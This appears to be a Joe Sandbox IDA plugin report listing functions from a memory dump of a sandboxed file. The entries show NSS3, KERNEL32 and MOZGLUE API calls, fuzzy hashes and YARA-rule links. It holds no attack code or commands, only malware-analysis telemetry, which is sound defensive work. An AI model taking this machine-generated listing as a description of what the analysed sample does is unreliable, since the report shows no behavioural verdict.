Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C671850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C67002B,?), ref: 6C671875

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32(?,?,6C67002B,?), ref: 6C67188E
EnterCriticalSection.KERNEL32(?,?,?,6C67002B,?), ref: 6C6718A7
PR_ExitMonitor.NSS3(?,?,?,?,6C67002B,?), ref: 6C671905
PR_Unlock.NSS3(?,?,?,?,6C67002B,?), ref: 6C671912

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: de1853905ec23256f220dd8c96f6812b7a9f16ffc9687f154f3ae23aec8d5747
Instruction ID: 31fe5e3348e184a42a3177a6a9a0f7ef1fe323448760bd1d6649f14d094d87d4
Opcode Fuzzy Hash: de1853905ec23256f220dd8c96f6812b7a9f16ffc9687f154f3ae23aec8d5747
Instruction Fuzzy Hash: 6B2141749046069BDB20AF79C094699B7F4FF06358F154E2AD898C7F00E730E895CBE6

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C6AF860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6AF893

